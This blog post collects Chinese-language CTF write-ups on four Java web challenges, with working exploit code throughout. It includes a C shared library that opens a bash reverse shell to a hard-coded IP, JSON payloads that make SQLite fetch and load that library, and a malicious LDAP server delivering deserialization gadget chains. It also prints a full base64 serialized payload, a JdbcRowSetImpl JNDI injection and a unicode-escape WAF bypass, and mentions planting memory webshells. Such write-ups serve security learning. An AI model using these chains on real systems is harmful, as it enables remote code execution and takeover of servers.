近期一些Java题
2024-12-21 00:35:13

CISCN2024 ezJava

sqlite开启了enableLoadExtension 参考https://sqlite.readdevdocs.com/loadext.html 可加载动态链接库

参考freebuf文章https://www.freebuf.com/vuls/341270.html

sqlite的url中如果以:resource:开头,则会请求该资源并且保存到tmp目录下,还会执行其中的SQL语句

大概思路,通过sqlite缓存恶意so文件,再请求恶意db执行LoadExtension加载恶意so文件反弹shell

生成恶意so文件

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void flag() {{
    system("bash -c 'bash -i >& /dev/tcp/119.3.157.129/3333 <&1'");
}}

void space() {{
    // this just exists so the resulting binary is > 500kB
         static char waste[500 * 1024] = {{2}};
}}

//编译gcc -shared -fPIC exp.c -o exp.so

使用脚本生成恶意db

import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;

public class test {
    public static void main(String[] args) {

        try {
            String dbFile = "poc.db";
            File file = new File(dbFile);
            Class.forName("org.sqlite.JDBC");
            Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);
            System.out.println("Opened database successfully");

          //缓存的数据库文件名要调试看下
            String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp-526269146.db','flag'));";  //向其中插入传入的三个参数
            PreparedStatement preStmt = conn.prepareStatement(sql);

            preStmt.executeUpdate();
            preStmt.close();
            conn.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

缓存的名字来自于resourceAddr的hashcode,这一点需要注意

//第一次payload缓存so文件
{"type":3,"url":"jdbc:sqlite::resource:http://119.3.157.129:7777/exp.so","tableName":"security"}

//第二次调用db加载so文件
{"type":3,"url":"jdbc:sqlite::resource:http://119.3.157.129:7777/poc.db","tableName":"security"}

RCTF OpenYourEyesToSeeTheWorld

路由,明显就是打LDAP服务,那么进调试

public class DemoController {
    @RequestMapping({"/index"})
    public String sayHello(@RequestBody Map<String, Object> bean) throws Exception {
        Properties properties = new Properties();
        String ip = (String) bean.get("ip");
        Integer port = (Integer) bean.get("port");
        if (ip.matches("^[0-9.]+$")) {
            String url = "ldap://" + ip + ":" + port;
            properties.setProperty("java.naming.provider.url", url);
            properties.setProperty("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory");
            String searchBase = (String) bean.get("searchBase");
            String filter = (String) bean.get("filter");
            if (searchBase != null && filter != null) {
                new InitialDirContext(properties).search(searchBase, filter, (SearchControls) null);
                return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
            }
            return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
        }
        return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
    }
}

在c_search_nss中的c_processJunction_nns调用了c_lookup

其中会对lookup获取的类进行了反序列化的逻辑

先瞎勾吧写个payload,进调试看看

{"ip":"192.168.1.13","port":1389,"searchBase":"123","filter":"123"}

会发现在switch中不会走进c_search_nns的逻辑

那么就去查看var5的逻辑,进入p_resolveIntermediate,Status取决于var3

而只有var5.size() == 1 时才会将var3设置为3,var5又取决于var4的Tail

进入p_parseComponent查看var4的逻辑

tail取决于var5

var5来自于var1的Suffix

进入getSuffix逻辑

取决于Namelmpl的components参数好的,那么我们往上翻翻var1,找他这个参数是什么时候设置的

实际上这个var1,就是我们传入的searchBase,他用CompositeName进行了封装,看看里面的处理逻辑

我甘霖娘的,找到了,components是在这里设置的,查看一下大概逻辑

大概就是经过extractComp后,提取出一个i,然后i与长度对比,如果小于就往compoents中添加一个空的Element?就能使size变1。这里不管了,我们看下extractComp的逻辑

很长,有一个while循环,很显然就是要找break跳出的地方

private final int extractComp(String name, int i, int len, Vector<String> comps)
throws InvalidNameException {
    String beginQuote;
    String endQuote;
    boolean start = true;
    boolean one = false;
    StringBuffer answer = new StringBuffer(len);

    while (i < len) {
        // handle quoted strings
        if (start && ((one = isA(name, i, syntaxBeginQuote1)) ||
                      isA(name, i, syntaxBeginQuote2))) {

            // record choice of quote chars being used
            beginQuote = one ? syntaxBeginQuote1 : syntaxBeginQuote2;
            endQuote = one ? syntaxEndQuote1 : syntaxEndQuote2;
            if (escapingStyle == STYLE_NONE) {
                escapingStyle = one ? STYLE_QUOTE1 : STYLE_QUOTE2;
            }

            // consume string until matching quote
            for (i += beginQuote.length();
                 ((i < len) && !name.startsWith(endQuote, i));
                 i++) {
                // skip escape character if it is escaping ending quote
                // otherwise leave as is.
                if (isA(name, i, syntaxEscape) &&
                    isA(name, i + syntaxEscape.length(), endQuote)) {
                    i += syntaxEscape.length();
                }
                answer.append(name.charAt(i));  // copy char
            }

            // no ending quote found
            if (i >= len)
                throw
                new InvalidNameException(name + ": no close quote");
            //                      new Exception("no close quote");

            i += endQuote.length();

            // verify that end-quote occurs at separator or end of string
            if (i == len || isSeparator(name, i)) {
                break;
            }
            //              throw (new Exception(
            throw (new InvalidNameException(name +
                                            ": close quote appears before end of component"));

        } else if (isSeparator(name, i)) {
            break;

        } else if (isA(name, i, syntaxEscape)) {
            if (isMeta(name, i + syntaxEscape.length())) {
                // if escape precedes meta, consume escape and let
                // meta through
                i += syntaxEscape.length();
                if (escapingStyle == STYLE_NONE) {
                    escapingStyle = STYLE_ESCAPE;
                }
            } else if (i + syntaxEscape.length() >= len) {
                throw (new InvalidNameException(name +
                                                ": unescaped " + syntaxEscape + " at end of component"));
            }
        } else if (isA(name, i, syntaxTypevalSeparator) &&
                   ((one = isA(name, i+syntaxTypevalSeparator.length(), syntaxBeginQuote1)) ||
                    isA(name, i+syntaxTypevalSeparator.length(), syntaxBeginQuote2))) {
            // Handle quote occurring after typeval separator
                beginQuote = one ? syntaxBeginQuote1 : syntaxBeginQuote2;
                endQuote = one ? syntaxEndQuote1 : syntaxEndQuote2;

                i += syntaxTypevalSeparator.length();
                answer.append(syntaxTypevalSeparator+beginQuote); // add back

                // consume string until matching quote
                for (i += beginQuote.length();
                     ((i < len) && !name.startsWith(endQuote, i));
                     i++) {
                    // skip escape character if it is escaping ending quote
                    // otherwise leave as is.
                    if (isA(name, i, syntaxEscape) &&
                        isA(name, i + syntaxEscape.length(), endQuote)) {
                        i += syntaxEscape.length();
                    }
                    answer.append(name.charAt(i));  // copy char
                }

                // no ending quote found
                if (i >= len)
                    throw
                        new InvalidNameException(name + ": typeval no close quote");

                i += endQuote.length();
                answer.append(endQuote); // add back

                // verify that end-quote occurs at separator or end of string
                if (i == len || isSeparator(name, i)) {
                    break;
                }
                throw (new InvalidNameException(name.substring(i) +
                    ": typeval close quote appears before end of component"));
            }

            answer.append(name.charAt(i++));
            start = false;
        }

        if (syntaxDirection == RIGHT_TO_LEFT)
            comps.insertElementAt(answer.toString(), 0);
        else
            comps.addElement(answer.toString());
        return i;
    }

有很多处,可以看见都是围绕着一个函数isSeparator

进入IsA大概查看一下逻辑

可以看见使用了startsWith进行了匹配

大概逻辑,就是遍历searchBase的字符串,寻找是否存在/,如果有/则break

这里提一嘴有个白名单waf,正则里没有放行/,所以用unicode编码一下即可绕过

{"ip":"192.168.1.13","port":1389,"searchBase":"123\u002f","filter":"123"}

可以看到我们在字符串中传入/即可进入if,且在后续进入了c_search_nss

那么此时我们就可以开始构造我们的恶意LDAP服务了

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

public class LDAPSerializedDataServer {

    private static final String LDAP_BASE = "dc=example,dc=com";
    private int port;
    private byte[] payload;

    public LDAPSerializedDataServer(int port, byte[] payload) {
        this.port = port;
        this.payload = payload;
    }

    public void start(){

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            System.out.println("Make client lookup \"ldap://0.0.0.0:"+port+"/anything_okay\"");
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }


    private class OperationInterceptor extends InMemoryOperationInterceptor {

        public OperationInterceptor () {

        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            System.out.println("Sending unserialized data...");
            e.addAttribute("javaClassName", "foo");
            e.addAttribute("javaSerializedData", payload);
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}



用jackson链子直接结束

public static void main(String[] args) throws Exception {
    overrideJackson();

    Object calc = Gadget.getPOJONodeStableProxy(Gadget.getTemplatesImpl("calc"));
    POJONode jsonNodes = new POJONode(calc);
    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
    Util.setFieldValue(badAttributeValueExpException,"val",jsonNodes);

    LDAPSerializedDataServer ldapSerializedDataServer = new LDAPSerializedDataServer(7777, Util.serialize(badAttributeValueExpException));
    ldapSerializedDataServer.start();

}

发送payload即可

{"ip":"192.168.1.13","port":7777,"searchBase":"11\u002f","filter":"123"}

上docker,cmd换成反弹shell的即可

DASCTF2024 ErloGrave

调试环境搭建

修改docker-compose.yml,添加debug端口映射

启动后进入docker修改/usr/local/tomcat/bin/catalina.sh,添加远程DEBUG参数

JAVA_OPTS=”-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000”

重新给文件上权限chmod 777,重启docker

IDEA添加远程JVM调试即可

题解

配置

有配置,查下是什么东西

ran-jit/tomcat-cluster-redis-session-manager:Tomcat 集群 redis 会话管理器 java 客户端。 (github.com)

大概就是用户请求会话消息会缓存在redis中,便于集群服务器取用。

通过SessionManager类进行管理

依赖

依赖文件,给了个cc,大概率是打反序列化了,经调试jedis里没太大问题,redis session依赖可能存在利用点。

在tomcat cluster redis session反编译后全局搜索,发现存在readObject点

向上查找可以发现在SessionManager中存在利用

路由功能点

对登录进行了缓存存储,键值可控

代码审计调试

在SessionManager中的findSession中,会获取sessionId,从redis中读取对应数据,然后进行反序列化

猜测是注册绑定在类似于Filter的逻辑中,在携带Sessionid访问时触发,调试可知

思路总结

在main路由处输入账号和密码,控制存入redis的键和值,随便打一条CC的链子即可,发包两次即可成功

题目不出网,且不知道为什么写jsp木马会有问题,我就直接打的普通内存马

并不是真正的flag,后续我上传frp去用MTUD打内网redis也没打成功,不知道是不是要主从复制,摆了

就在根目录下/etcccc里面。。。讲真他docker不知道配置了什么,我jsp木马一直没写成功,算了,回头改一个冰蝎或者哥斯拉的tomcat马和spring马吧

WMCTF Ezql

拿了个三血,见识我和unknown的羁绊吧!我们好强!

跑了个javahttp服务,ql路由处接受请求体,调用ql表达式解析,开启了方法调用白名单,只允许使用valueOf

查看项目文档

alibaba/QLExpress: QLExpress is a powerful, lightweight, dynamic language for the Java platform aimed at improving developers’ productivity in different business scenes. (github.com)
找到了一个issue

查看RCTF2024的wp也没找到相关,但是在回答中能看到一些提示

白名单构造函数上确实存在问题

查看相关修复,发现新增了对于类构造方法的黑白名单。

提出了使用TrAXFilter对类字节码进行的加载的猜想,调试发现可以进入,但是无法设置TemplatesImpl的_bytecodes的值,无奈放弃

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
t = new TemplatesImpl();
t["_bytecodes"] = [[1,2,3]];
tra = new TrAXFilter(t);

在翻阅文档中看见

这样的用法会调用类的setter,立刻想到JdbcRowSetImpl,且JDK版本是202,刚好是最后一个能打LDAP注入的版本

import com.sun.rowset.JdbcRowSetImpl;
jdbc = new JdbcRowSetImpl();
jdbc.dataSourceName = "1";
jdbc.autoCommit = true;

perfect!可行,但是没有tomcat,只能打反序列化,一眼shiro

完美,生成cb链payload,启一个LDAP服务

package com.JNDI;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.util.Base64;

public class LDAPSerializedDataServer {

    private static final String LDAP_BASE = "dc=example,dc=com";
    private int port;
    private byte[] payload;

    public static void main(String[] args) {
        String payload = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgBAY29tLnN1bi5vcmcuYXBhY2hlLnhtbC5pbnRlcm5hbC5zZWN1cml0eS5jMTRuLmhlbHBlci5BdHRyQ29tcGFyZZ1IoA3i3IaaAgAAeHB0ABBvdXRwdXRQcm9wZXJ0aWVzdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAETAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAXiyv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MY29tL3Rlc3QvY2FsYzsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAkACgcALgwALwAwAQAEY2FsYwwAMQAyAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAMwAKAQANY29tL3Rlc3QvY2FsYwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACgANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGwANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAYQACAAEAAAASuAACEgO2AARLpwAISyq2AAaxAAEAAAAJAAwABQADAAwAAAAWAAUAAAANAAkAEAAMAA4ADQAPABEAEQANAAAADAABAA0ABAAeAB8AAAAgAAAABwACTAcAIQQAAQAiAAAAAgAjcHQAA2FhYXB3AQB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAJ4";

        byte[] bytes = Base64.getDecoder().decode(payload);
        LDAPSerializedDataServer ldapSerializedDataServer = new LDAPSerializedDataServer(30000, bytes);
        ldapSerializedDataServer.start();
    }

    public LDAPSerializedDataServer(int port, byte[] payload) {
        this.port = port;
        this.payload = payload;
    }

    public void start(){

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            System.out.println("Make client lookup \"ldap://0.0.0.0:"+port+"/anything_okay\"");
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }


    private class OperationInterceptor extends InMemoryOperationInterceptor {

        public OperationInterceptor () {

        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            System.out.println("Sending unserialized data...");
            e.addAttribute("javaClassName", "foo");
            e.addAttribute("javaSerializedData", payload);
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}



import com.sun.rowset.JdbcRowSetImpl;
jdbc = new JdbcRowSetImpl();
jdbc.dataSourceName = "ldap://xxx.xxx.xxx.xxxx:xxxx/anything_okay";
jdbc.autoCommit = true;

base64加密向ql路由post即可反弹shell

Prev
2024-12-21 00:35:13
Next